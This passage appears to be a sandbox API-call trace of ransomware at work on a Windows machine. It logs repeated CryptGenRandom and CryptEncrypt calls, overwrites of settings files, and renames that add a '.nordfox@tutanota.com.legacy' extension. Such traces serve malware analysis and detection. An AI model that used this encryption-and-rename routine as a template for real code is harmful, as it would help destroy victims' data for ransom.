pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.093] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.093] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.093] CloseHandle (hObject=0x1c24) returned 1 [0196.093] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0196.093] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0196.093] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Workplace_RelatedSettings.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_workplace_relatedsettings.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Workplace_RelatedSettings.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_workplace_relatedsettings.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0196.095] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f68c0 | out: hHeap=0x520000) returned 1 [0196.095] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e1958 | out: hHeap=0x520000) returned 1 [0196.095] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e1668 | out: hHeap=0x520000) returned 1 [0196.095] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e1668 [0196.095] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c39d8 [0196.095] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0196.095] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0196.095] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.095] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Workplace_CorpDeviceManagement.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.096] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e1958 [0196.096] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x226) returned 0x30f68c0 [0196.096] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e1958 | out: hHeap=0x520000) returned 1 [0196.096] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Workplace_CorpDeviceManagement.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_workplace_corpdevicemanagement.settingcontent-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c24 [0196.096] GetFileSizeEx (in: hFile=0x1c24, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1293) returned 1 [0196.096] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50d) returned 0x619440 [0196.096] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50d) returned 0x3562008 [0196.096] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x50d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x50d, lpOverlapped=0x0) returned 1 [0196.107] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1293, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.107] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x50d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x50d, lpOverlapped=0x0) returned 1 [0196.107] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619440 | out: hHeap=0x520000) returned 1 [0196.107] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3562008 | out: hHeap=0x520000) returned 1 [0196.107] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x50d [0196.107] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.107] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.108] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.108] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.108] CloseHandle (hObject=0x1c24) returned 1 [0196.108] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c39d8 | out: hHeap=0x520000) returned 1 [0196.108] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0196.108] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Workplace_CorpDeviceManagement.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_workplace_corpdevicemanagement.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Workplace_CorpDeviceManagement.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_workplace_corpdevicemanagement.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0196.110] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f68c0 | out: hHeap=0x520000) returned 1 [0196.110] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e1668 | out: hHeap=0x520000) returned 1 [0196.110] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e2690 | out: hHeap=0x520000) returned 1 [0196.110] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e1668 [0196.110] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0196.110] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0196.110] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0196.110] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.110] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_VirtualDesktops_TaskbarFilter.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.110] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e1958 [0196.111] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x226) returned 0x30f68c0 [0196.111] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e1958 | out: hHeap=0x520000) returned 1 [0196.111] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_VirtualDesktops_TaskbarFilter.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_virtualdesktops_taskbarfilter.settingcontent-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c24 [0196.111] GetFileSizeEx (in: hFile=0x1c24, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1277) returned 1 [0196.111] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4fd) returned 0x619440 [0196.111] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4fd) returned 0x3562008 [0196.111] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x4fd, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x4fd, lpOverlapped=0x0) returned 1 [0196.118] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1277, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.118] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x4fd, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4fd, lpOverlapped=0x0) returned 1 [0196.118] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619440 | out: hHeap=0x520000) returned 1 [0196.118] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3562008 | out: hHeap=0x520000) returned 1 [0196.118] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4fd [0196.118] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.118] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.118] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.119] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.119] CloseHandle (hObject=0x1c24) returned 1 [0196.119] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0196.119] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0196.119] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_VirtualDesktops_TaskbarFilter.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_virtualdesktops_taskbarfilter.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_VirtualDesktops_TaskbarFilter.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_virtualdesktops_taskbarfilter.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0196.121] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f68c0 | out: hHeap=0x520000) returned 1 [0196.121] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e1668 | out: hHeap=0x520000) returned 1 [0196.121] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e14f0 | out: hHeap=0x520000) returned 1 [0196.121] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e14f0 [0196.121] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c39d8 [0196.121] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0196.121] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0196.121] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.121] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_VirtualDesktops_AltTabFilter.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.121] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e1668 [0196.121] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x226) returned 0x30f68c0 [0196.122] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e1668 | out: hHeap=0x520000) returned 1 [0196.122] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_VirtualDesktops_AltTabFilter.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_virtualdesktops_alttabfilter.settingcontent-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c24 [0196.122] GetFileSizeEx (in: hFile=0x1c24, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1272) returned 1 [0196.122] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4f8) returned 0x619440 [0196.122] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4f8) returned 0x3562008 [0196.122] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x4f8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x4f8, lpOverlapped=0x0) returned 1 [0196.126] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1272, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.126] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x4f8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4f8, lpOverlapped=0x0) returned 1 [0196.126] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619440 | out: hHeap=0x520000) returned 1 [0196.126] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3562008 | out: hHeap=0x520000) returned 1 [0196.126] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4f8 [0196.127] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.127] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.127] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.127] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.127] CloseHandle (hObject=0x1c24) returned 1 [0196.127] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c39d8 | out: hHeap=0x520000) returned 1 [0196.127] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0196.127] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_VirtualDesktops_AltTabFilter.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_virtualdesktops_alttabfilter.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_VirtualDesktops_AltTabFilter.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_virtualdesktops_alttabfilter.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0196.132] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f68c0 | out: hHeap=0x520000) returned 1 [0196.132] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e14f0 | out: hHeap=0x520000) returned 1 [0196.132] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e1378 | out: hHeap=0x520000) returned 1 [0196.132] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e14f0 [0196.132] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0196.133] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0196.133] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0196.133] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.133] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Users_SingleSignOnAccountList.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.133] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e2690 [0196.133] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x226) returned 0x30f68c0 [0196.133] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e2690 | out: hHeap=0x520000) returned 1 [0196.133] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Users_SingleSignOnAccountList.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_users_singlesignonaccountlist.settingcontent-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c24 [0196.134] GetFileSizeEx (in: hFile=0x1c24, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1277) returned 1 [0196.134] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4fd) returned 0x619440 [0196.134] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4fd) returned 0x3562008 [0196.134] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x4fd, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x4fd, lpOverlapped=0x0) returned 1 [0196.135] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1277, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.135] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x4fd, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4fd, lpOverlapped=0x0) returned 1 [0196.135] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619440 | out: hHeap=0x520000) returned 1 [0196.135] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3562008 | out: hHeap=0x520000) returned 1 [0196.135] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4fd [0196.135] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.135] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.136] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.136] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.136] CloseHandle (hObject=0x1c24) returned 1 [0196.136] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0196.136] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0196.136] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Users_SingleSignOnAccountList.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_users_singlesignonaccountlist.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Users_SingleSignOnAccountList.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_users_singlesignonaccountlist.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0196.138] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f68c0 | out: hHeap=0x520000) returned 1 [0196.138] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e14f0 | out: hHeap=0x520000) returned 1 [0196.138] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e1200 | out: hHeap=0x520000) returned 1 [0196.138] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x30dc2b8 [0196.138] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0196.138] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0196.138] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0196.138] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.138] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Users_PINPassword.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.138] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x30db4a8 [0196.138] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x2ef5280 [0196.138] HeapFree (in: 